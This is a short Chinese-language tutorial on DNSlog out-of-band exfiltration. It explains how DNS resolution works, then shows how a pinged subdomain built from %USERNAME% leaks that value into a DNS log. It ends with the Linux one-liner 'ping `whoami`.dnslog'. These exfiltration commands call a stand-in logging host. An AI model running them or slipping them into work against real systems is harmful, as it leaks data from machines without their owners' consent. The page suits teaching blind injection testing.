原理

DNS:将域名解析为IP DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等访问信息,类似于日志文件

image.png

  1. 浏览器先检查自身缓存中有没有被解析过的这个域名对应的ip地址,如果有,解析结束,同时域名被缓存的时间也可以通过TTL属性来设置
  2. 如果浏览器缓存中没有,浏览器会检查操作系统缓存中有没有对应已解析过的结果,而操作系统也会有一个域名解析的过程。在windows中可通过C盘里一个叫hosts的文件来设置,若在这里制定了一个域名对应的ip地址,那浏览器会首先使用这个ip地址
  3. 如果至此还没有命中域名,才会真正的请求本地域名服务器(LDNS)来解析这个域名,这台服务器一般在你的城市的某个角落,每一个因特网服务提供ISP(电信联通移动),或一个大学都可以拥有一个本地域名服务器,距离你不会很远,一般不会超过几个路由的距离,并且这台服务器的性能都很好,一般都会缓存域名解析结果,大约百分之80的域名解析到这里就结束了
  4. 如果LDNS仍然没有命中,就直接跳到根域名服务器请求解析
  5. 根域名服务器返回给LDNS一个所查询域的顶级域名服务器(如.com,.cn,.org等)地址
  6. 此时LDNS再发送请求给上一步返回的顶级域名服务器
  7. 接受请求的顶级域名服务器查找并返回这个域名对应的Name Server的地址,这个Name Server就是网站注册的权限域名服务器
  8. Name Server根据映射关系表找到目标ip,返回给LDNS
  9. LDNS缓存这个域名和对应IP
  10. LDNS把解析结果返回给用户,用户根据TTL值缓存到本地系统缓存中,域名解析过程至此结果

简单来说,就是我有个已经注册的域名a.com,我在域名代理商那里将域名设置为对应ip 1.1.1.1上,这样当我向dns服务器发起a.com的解析请求时候,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方

总结

image.png

可以看到解析日志汇报%USERNAME%的值给带出来 因为系统在ping命令之前会把%USERNAME%的值解析出来,不然咋知道要找那个子域名 然后再把abc.com拼接起来,最后ping命令执行将HP.abc.com一起发给DNS服务器,请求解析域名对应的ip地址 这个过程就被DNSlog记录下来了

image.png

linux可以用到的

  1. ping `whoami`.dnslog